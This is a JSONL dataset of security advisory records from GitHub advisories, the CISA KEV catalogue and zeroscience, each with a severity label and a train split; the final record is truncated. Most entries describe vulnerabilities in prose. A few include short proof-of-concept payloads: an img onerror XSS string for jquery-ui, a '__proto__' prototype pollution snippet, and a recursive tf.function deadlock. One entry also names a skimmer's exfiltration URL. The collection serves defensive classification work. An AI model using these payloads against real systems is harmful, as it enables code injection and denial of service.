-{"id": "260f3862681bbeb53781", "text": "Malicious Package in blingjs\n\nVersion 0.0.4 of `blingjs` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.4 of this module is found installed you will want to replace it with a version before or after 0.0.4. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in blingjs\n\n[Severity: CRITICAL]\n\nVersion 0.0.4 of `blingjs` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.4 of this module is found installed you will want to replace it with a version before or after 0.0.4. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3dcde38915f99c768bd6", "text": "XSS in the `of` option of the `.position()` util in jquery-ui\n\n### Impact\nAccepting the value of the `of` option of the [`.position()`](https://api.jqueryui.com/position/) util from untrusted sources may execute untrusted code. For example, invoking the following code:\n```js\n$( \"#element\" ).position( {\n\tmy: \"left top\",\n\tat: \"right bottom\",\n\tof: \"<img onerror='doEvilThing()' src='/404' />\",\n\tcollision: \"none\"\n} );\n```\nwill call the `doEvilThing()` function.\n\n### Patches\nThe issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector.\n\n### Workarounds\nA workaround is to not accept the value of the `of` option from untrusted sources.\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues). If you don't find an answer, open a new issue.", "text_raw": "XSS in the `of` option of the `.position()` util in jquery-ui\n\n[Severity: MEDIUM]\n\n### Impact\nAccepting the value of the `of` option of the [`.position()`](https://api.jqueryui.com/position/) util from untrusted sources may execute untrusted code. For example, invoking the following code:\n```js\n$( \"#element\" ).position( {\n\tmy: \"left top\",\n\tat: \"right bottom\",\n\tof: \"<img onerror='doEvilThing()' src='/404' />\",\n\tcollision: \"none\"\n} );\n```\nwill call the `doEvilThing()` function.\n\n### Patches\nThe issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector.\n\n### Workarounds\nA workaround is to not accept the value of the `of` option from untrusted sources.\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues). If you don't find an answer, open a new issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-26", "split": "train"}
-{"id": "2c76f6164a5b485db7d4", "text": "Eclipse Jetty Server generates error message containing sensitive information\n\nIn Eclipse Jetty Server, all 9.x versions, on webapps deployed using default Error Handling, when an intentionally bad query arrives that doesn't match a dynamic url-pattern, and is eventually handled by the DefaultServlet's static file serving, the bad characters can trigger a java.nio.file.InvalidPathException which includes the full path to the base resource directory that the DefaultServlet and/or webapp is using. If this InvalidPathException is then handled by the default Error Handler, the InvalidPathException message is included in the error response, revealing the full server path to the requesting system.", "text_raw": "Eclipse Jetty Server generates error message containing sensitive information\n\n[Severity: MEDIUM]\n\nIn Eclipse Jetty Server, all 9.x versions, on webapps deployed using default Error Handling, when an intentionally bad query arrives that doesn't match a dynamic url-pattern, and is eventually handled by the DefaultServlet's static file serving, the bad characters can trigger a java.nio.file.InvalidPathException which includes the full path to the base resource directory that the DefaultServlet and/or webapp is using. If this InvalidPathException is then handled by the default Error Handler, the InvalidPathException message is included in the error response, revealing the full server path to the requesting system.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "3bac015585955e1ac7f7", "text": "Path traversal in github.com/ipfs/go-ipfs\n\n### Impact\nIt is currently possible for path traversal to occur with DAGs containing relative paths during retrieval. This can cause files to be overwritten, or written to incorrect output directories. The issue can only occur when `ipfs get` is done on an affected DAG.\n\n1. The only affected command is `ipfs get`.\n2. The gateway is not affected.\n\n### Patches\nTraversal fix patched in https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227\n`tar-utils` patch applied to go-ipfs via https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2\n\n### Workarounds\nUpgrade to go-ipfs 0.8 or later.\n\n### References\nBinaries for the patched versions of go-ipfs are available on the IPFS distributions site, https://dist.ipfs.io/go-ipfs\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ipfs](https://github.com/ipfs/go-ipfs)\n* Email us at [security@ipfs.io](mailto:security@ipfs.io)", "text_raw": "Path traversal in github.com/ipfs/go-ipfs\n\n[Severity: HIGH]\n\n### Impact\nIt is currently possible for path traversal to occur with DAGs containing relative paths during retrieval. This can cause files to be overwritten, or written to incorrect output directories. The issue can only occur when `ipfs get` is done on an affected DAG.\n\n1. The only affected command is `ipfs get`.\n2. The gateway is not affected.\n\n### Patches\nTraversal fix patched in https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227\n`tar-utils` patch applied to go-ipfs via https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2\n\n### Workarounds\nUpgrade to go-ipfs 0.8 or later.\n\n### References\nBinaries for the patched versions of go-ipfs are available on the IPFS distributions site, https://dist.ipfs.io/go-ipfs\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ipfs](https://github.com/ipfs/go-ipfs)\n* Email us at [security@ipfs.io](mailto:security@ipfs.io)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "c4023051920c275afbc3", "text": "SQL Injection in LibreNMS\n\nAn issue was discovered in LibreNMS through 1.47. It does not parameterize all user supplied input within database queries, resulting in SQL injection. An authenticated attacker can subvert these database queries to extract or manipulate data, as demonstrated by the graph.php sort parameter.", "text_raw": "SQL Injection in LibreNMS\n\n[Severity: HIGH]\n\nAn issue was discovered in LibreNMS through 1.47. It does not parameterize all user supplied input within database queries, resulting in SQL injection. An authenticated attacker can subvert these database queries to extract or manipulate data, as demonstrated by the graph.php sort parameter.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "31046ecd075a90802d42", "text": "Deadlock in mutually recursive `tf.function` objects\n\n### Impact\nThe [code behind `tf.function` API](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/python/eager/def_function.py#L542) can be made to deadlock when two `tf.function` decorated Python functions are mutually recursive:\n\n```python \nimport tensorflow as tf\n\n@tf.function()               \ndef fun1(num):\n    if num == 1:\n        return\n    print(num)\n    fun2(num-1)\n\n@tf.function()\ndef fun2(num):\n    if num == 0:\n        return\n    print(num)\n    fun1(num-1)\n\nfun1(9)\n```\n\nThis occurs due to using a non-reentrant `Lock` Python object.\n\nLoading any model which contains mutually recursive functions is vulnerable. An attacker can cause denial of service by causing users to load such models and calling a recursive `tf.function`, although this is not a frequent scenario.\n\n### Patches\nWe have patched the issue in GitHub commit [afac8158d43691661ad083f6dd9e56f327c1dcb7](https://github.com/tensorflow/tensorflow/commit/afac8158d43691661ad083f6dd9e56f327c1dcb7).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Deadlock in mutually recursive `tf.function` objects\n\n[Severity: MEDIUM]\n\n### Impact\nThe [code behind `tf.function` API](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/python/eager/def_function.py#L542) can be made to deadlock when two `tf.function` decorated Python functions are mutually recursive:\n\n```python \nimport tensorflow as tf\n\n@tf.function()               \ndef fun1(num):\n    if num == 1:\n        return\n    print(num)\n    fun2(num-1)\n\n@tf.function()\ndef fun2(num):\n    if num == 0:\n        return\n    print(num)\n    fun1(num-1)\n\nfun1(9)\n```\n\nThis occurs due to using a non-reentrant `Lock` Python object.\n\nLoading any model which contains mutually recursive functions is vulnerable. An attacker can cause denial of service by causing users to load such models and calling a recursive `tf.function`, although this is not a frequent scenario.\n\n### Patches\nWe have patched the issue in GitHub commit [afac8158d43691661ad083f6dd9e56f327c1dcb7](https://github.com/tensorflow/tensorflow/commit/afac8158d43691661ad083f6dd9e56f327c1dcb7).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "6f760377b4b837b31782", "text": "Denial of Service in handlebars\n\nAffected versions of `handlebars` are vulnerable to Denial of Service. The package's parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 4.4.5 or later.", "text_raw": "Denial of Service in handlebars\n\n[Severity: MEDIUM]\n\nAffected versions of `handlebars` are vulnerable to Denial of Service. The package's parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.4.5 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0cfeed2616c775f92ab8", "text": "Prototype Pollution in asciitable.js\n\nThe package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.\n\n### PoC\n```js\nvar a = require(\"asciitable.js\"); \nvar b = JSON.parse('{\"__proto__\":{\"test\":123}}'); \na({},b); \nconsole.log({}.test)\n```", "text_raw": "Prototype Pollution in asciitable.js\n\n[Severity: CRITICAL]\n\nThe package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.\n\n### PoC\n```js\nvar a = require(\"asciitable.js\"); \nvar b = JSON.parse('{\"__proto__\":{\"test\":123}}'); \na({},b); \nconsole.log({}.test)\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "5884ce4155ba35d47d3f", "text": "Malicious Package in rate-map\n\nVersion 1.0.3 of `rate-map`  contains malicious code. The malware breaks functionality of the `purescript-installer` package by rewriting code of the `dl-tar` dependency.\n\n## Recommendation\n\nUpgrade to version 1.0.5 or later. There is no indication of further compromise.", "text_raw": "Malicious Package in rate-map\n\n[Severity: CRITICAL]\n\nVersion 1.0.3 of `rate-map`  contains malicious code. The malware breaks functionality of the `purescript-installer` package by rewriting code of the `dl-tar` dependency.\n\n\n## Recommendation\n\nUpgrade to version 1.0.5 or later. There is no indication of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fb05771155b0ee06f601", "text": "Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit", "text_raw": "Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-02-14", "split": "train"}
-{"id": "508a553a56611a82ae8d", "text": "Puppet allows local users to overwrite arbitrary files via a symlink attack\n\n`telnet.rb` in Puppet 2.7.x before 2.7.13 and Puppet Enterprise (PE) 1.2.x, 2.0.x, and 2.5.x before 2.5.1 allows local users to overwrite arbitrary files via a symlink attack on the NET::Telnet connection log (`/tmp/out.log`).", "text_raw": "Puppet allows local users to overwrite arbitrary files via a symlink attack\n\n[Severity: LOW]\n\n`telnet.rb` in Puppet 2.7.x before 2.7.13 and Puppet Enterprise (PE) 1.2.x, 2.0.x, and 2.5.x before 2.5.1 allows local users to overwrite arbitrary files via a symlink attack on the NET::Telnet connection log (`/tmp/out.log`).", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "5ff18043c05e672e72d4", "text": "Hugo can execute a binary from the current directory on Windows\n\n## Impact\n\nHugo depends on Go's `os/exec` for certain features, e.g. for rendering of Pandoc documents if these binaries are found in the system `%PATH%` on Windows. However, if a malicious file with the same name (`exe` or `bat`) is found in the current working directory at the time of running `hugo`, the malicious command will be invoked instead of the system one.\n\nWindows users who run `hugo` inside untrusted Hugo sites are affected.\n\n## Patches\nUsers should upgrade to Hugo v0.79.1.", "text_raw": "Hugo can execute a binary from the current directory on Windows\n\n[Severity: HIGH]\n\n## Impact\n\nHugo depends on Go's `os/exec` for certain features, e.g. for rendering of Pandoc documents if these binaries are found in the system `%PATH%` on Windows. However, if a malicious file with the same name (`exe` or `bat`) is found in the current working directory at the time of running `hugo`, the malicious command will be invoked instead of the system one.\n\nWindows users who run `hugo` inside untrusted Hugo sites are affected.\n\n## Patches\nUsers should upgrade to Hugo v0.79.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "e2ac1d666f21a737354d", "text": "Heap buffer overflow in Tensorflow\n\n### Impact\nThe `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Hence, this code is prone to heap buffer overflow:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L248-L251\n\nIf `split_values` does not end with a value at least `num_values` then the `while` loop condition will trigger a read outside of the bounds of `split_values` once `batch_idx` grows too large.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap buffer overflow in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Hence, this code is prone to heap buffer overflow:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L248-L251\n\nIf `split_values` does not end with a value at least `num_values` then the `while` loop condition will trigger a read outside of the bounds of `split_values` once `batch_idx` grows too large. \n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "639708fdb5d24777662c", "text": "Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability\n\nAffected: Cisco Small Business RV320 and RV325 Routers\n\nCisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers contain improper access controls for URLs. Exploitation could allow an attacker to download the router configuration or detailed diagnostic information.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability\n\nAffected: Cisco Small Business RV320 and RV325 Routers\n\nCisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers contain improper access controls for URLs. Exploitation could allow an attacker to download the router configuration or detailed diagnostic information.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5a8edfbf100d41289b2b", "text": "Malicious Package in coinstrig\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in coinstrig\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "344b55851996c32fe382", "text": "Multiple VMware Products Command Injection Vulnerability\n\nAffected: VMware Multiple Products\n\nVMware Workspace One Access, Access Connector, Identity Manager, and Identity Manager Connector contain a command injection vulnerability. An attacker with network access to the administrative configurator on port 8443 and a valid password for the configurator administrator account can execute commands with unrestricted privileges on the underlying operating system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Multiple VMware Products Command Injection Vulnerability\n\nAffected: VMware Multiple Products\n\nVMware Workspace One Access, Access Connector, Identity Manager, and Identity Manager Connector contain a command injection vulnerability. An attacker with network access to the administrative configurator on port 8443 and a valid password for the configurator administrator account can execute commands with unrestricted privileges on the underlying operating system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3b51aef9b7f77c07834a", "text": "Remote Code Execution in next\n\nVersions of `next` prior to 5.1.0 are vulnerable to Remote Code Execution. The `/path:` route fails to properly sanitize input and passes it to a `require()` call. This allows attackers to execute JavaScript code on the server. Note that prior version 0.9.9 package `next` npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.\n\n## Recommendation\n\nUpgrade to version 5.1.0.", "text_raw": "Remote Code Execution in next\n\n[Severity: HIGH]\n\nVersions of `next` prior to 5.1.0 are vulnerable to Remote Code Execution. The `/path:` route fails to properly sanitize input and passes it to a `require()` call. This allows attackers to execute JavaScript code on the server. Note that prior version 0.9.9 package `next` npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.\n\n## Recommendation\n\nUpgrade to version 5.1.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "00a551d2d28fd837cbdb", "text": "Spring Data Commons remote code injection vulnerability\n\nSpring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding that can lead to a remote code execution attack.", "text_raw": "Spring Data Commons remote code injection vulnerability\n\n[Severity: CRITICAL]\n\nSpring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding that can lead to a remote code execution attack.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "e6598e95e2fbfa82c3f6", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange\n\nAn authenticated attacker could leverage improper validation in cmdlet arguments within Microsoft Exchange and perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-184, CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange\n\nAn authenticated attacker could leverage improper validation in cmdlet arguments within Microsoft Exchange and perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-184, CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-17", "split": "train"}
-{"id": "339e0b7524894a563e5c", "text": "Cross-site scripting in actionpack\n\nIn actionpack gem >= 6.0.0, a possible XSS vulnerability exists when an application is running in development mode allowing an attacker to send or embed (in another page) a specially crafted URL which can allow the attacker to execute JavaScript in the context of the local application. This vulnerability is in the Actionable Exceptions middleware.\n\nWorkarounds\n-----------\nUntil such time as the patch can be applied, application developers should disable the Actionable Exceptions middleware in their development environment via a line such as this one in their config/environment/development.rb: `config.middleware.delete ActionDispatch::ActionableExceptions`", "text_raw": "Cross-site scripting in actionpack\n\n[Severity: MEDIUM]\n\nIn actionpack gem >= 6.0.0, a possible XSS vulnerability exists when an application is running in development mode allowing an attacker to send or embed (in another page) a specially crafted URL which can allow the attacker to execute JavaScript in the context of the local application. This vulnerability is in the Actionable Exceptions middleware.\n\nWorkarounds\n-----------\nUntil such time as the patch can be applied, application developers should disable the Actionable Exceptions middleware in their development environment via a line such as this one in their config/environment/development.rb: `config.middleware.delete ActionDispatch::ActionableExceptions`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "85990368be85773d2141", "text": "Regular Expression Denial of Service in ua-parser-js\n\nThe package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.", "text_raw": "Regular Expression Denial of Service in ua-parser-js\n\n[Severity: HIGH]\n\nThe package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "10329e0abcb267f6270b", "text": "AChecker 1.2 Multiple Error-Based SQL Injection Vulnerabilities", "text_raw": "AChecker 1.2 Multiple Error-Based SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "ab506e86492635d6a540", "text": "Out of bounds access in compact_arena\n\nAffected versions of this crate did not properly implement the generativity, because the invariant lifetimes were not necessarily dropped.\n\nThis allows an attacker to mix up two arenas, using indices created from one arena with another one. This might lead to an out-of-bounds read or write access into the memory reserved for the arena.\n\nThe flaw was corrected by implementing generativity correctly in version 0.4.0.", "text_raw": "Out of bounds access in compact_arena\n\n[Severity: CRITICAL]\n\nAffected versions of this crate did not properly implement the generativity, because the invariant lifetimes were not necessarily dropped.\n\nThis allows an attacker to mix up two arenas, using indices created from one arena with another one. This might lead to an out-of-bounds read or write access into the memory reserved for the arena.\n\nThe flaw was corrected by implementing generativity correctly in version 0.4.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2df337356441161f5b86", "text": "Code Injection in cd-messenger\n\ncd-messenger through 2.7.26 is vulnerable to Arbitrary Code Execution. User input provided to the `color` argument executed by the `eval` function resulting in code execution.", "text_raw": "Code Injection in cd-messenger\n\n[Severity: CRITICAL]\n\ncd-messenger through 2.7.26 is vulnerable to Arbitrary Code Execution. User input provided to the `color` argument executed by the `eval` function resulting in code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "bf47b4942a4fdbf5a960", "text": "Orthanc DICOM Server 1.1.0 Unquoted Service Path Privilege Escalation", "text_raw": "Orthanc DICOM Server 1.1.0 Unquoted Service Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "d791343de00abd692cf1", "text": "Data races in gfwx\n\nIn the affected versions of this crate, ImageChunkMut<'_, T> unconditionally implements Send and Sync, allowing to create data races.\n\nThis can result in a memory corruption or undefined behavior when non thread-safe types are moved and referenced across thread boundaries.\n\nThe flaw was corrected in commit e7fb2f5 by adding T: Send bound to the Send impl and adding T: Sync bound to the Sync impl.", "text_raw": "Data races in gfwx\n\n[Severity: HIGH]\n\nIn the affected versions of this crate, ImageChunkMut<'_, T> unconditionally implements Send and Sync, allowing to create data races.\n\nThis can result in a memory corruption or undefined behavior when non thread-safe types are moved and referenced across thread boundaries.\n\nThe flaw was corrected in commit e7fb2f5 by adding T: Send bound to the Send impl and adding T: Sync bound to the Sync impl.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7ea3f74f4d8fe8b3c25f", "text": "Uncontrolled Resource Consumption in locutus\n\nThe package locutus before 2.0.15 is vulnerable to Regular Expression Denial of Service (ReDoS) via the gopher_parsedir function.", "text_raw": "Uncontrolled Resource Consumption in locutus\n\n[Severity: HIGH]\n\nThe package locutus before 2.0.15 is vulnerable to Regular Expression Denial of Service (ReDoS) via the gopher_parsedir function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "fd260a63f75e8b1236f3", "text": "Unlimited transforms allowed for signed nodes\n\n### Impact\nA malicious SAML payload can require transforms that consume significant system resources to process, thereby resulting in reduced or denied service. This would be an effective way to perform a denial-of-service attack.\n\n### Patches\nThis has been resolved in version 3.1.0. The resolution is to limit the number of allowable transforms to 2.\n\n### References\nhttps://github.com/node-saml/passport-saml/pull/595", "text_raw": "Unlimited transforms allowed for signed nodes\n\n[Severity: MEDIUM]\n\n### Impact\nA malicious SAML payload can require transforms that consume significant system resources to process, thereby resulting in reduced or denied service. This would be an effective way to perform a denial-of-service attack.\n\n### Patches\nThis has been resolved in version 3.1.0. The resolution is to limit the number of allowable transforms to 2.\n\n### References\nhttps://github.com/node-saml/passport-saml/pull/595\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "4e27258d9cf00150dea3", "text": "Apache ActiveMQ webconsole admin GUI is open to XSS\n\nIn Apache ActiveMQ 5.0.0 to 5.15.11, the webconsole admin GUI is open to XSS, in the view that lists the contents of a queue.", "text_raw": "Apache ActiveMQ webconsole admin GUI is open to XSS\n\n[Severity: MEDIUM]\n\nIn Apache ActiveMQ 5.0.0 to 5.15.11, the webconsole admin GUI is open to XSS, in the view that lists the contents of a queue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "58760d3fb59775d24809", "text": "Denial of Service in SheetJS Pro\n\nSheetJS Pro through 0.16.9 allows attackers to cause a denial of service (memory consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js (issue 1 of 2).", "text_raw": "Denial of Service in SheetJS Pro\n\n[Severity: MEDIUM]\n\nSheetJS Pro through 0.16.9 allows attackers to cause a denial of service (memory consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js (issue 1 of 2).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "cd1c60bedb7699adc7b4", "text": "Unraid Remote Code Execution Vulnerability\n\nAffected: Unraid Unraid\n\nUnraid contains a vulnerability due to the insecure use of the extract PHP function that can be abused to execute remote code as root. This CVE is chainable with CVE-2020-5849 for initial access.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Unraid Remote Code Execution Vulnerability\n\nAffected: Unraid Unraid\n\nUnraid contains a vulnerability due to the insecure use of the extract PHP function that can be abused to execute remote code as root. This CVE is chainable with CVE-2020-5849 for initial access.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6c1c7b2b93943fac4ed4", "text": "Duplicate Advisory: Prototype Pollution in klona\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8f89-2fwj-5v5r. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `klona` prior to 1.1.1 are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype when cloning objects, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nUpgrade to version 1.1.1 or later.", "text_raw": "Duplicate Advisory: Prototype Pollution in klona\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8f89-2fwj-5v5r. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `klona` prior to 1.1.1 are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype when cloning objects, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpgrade to version 1.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", 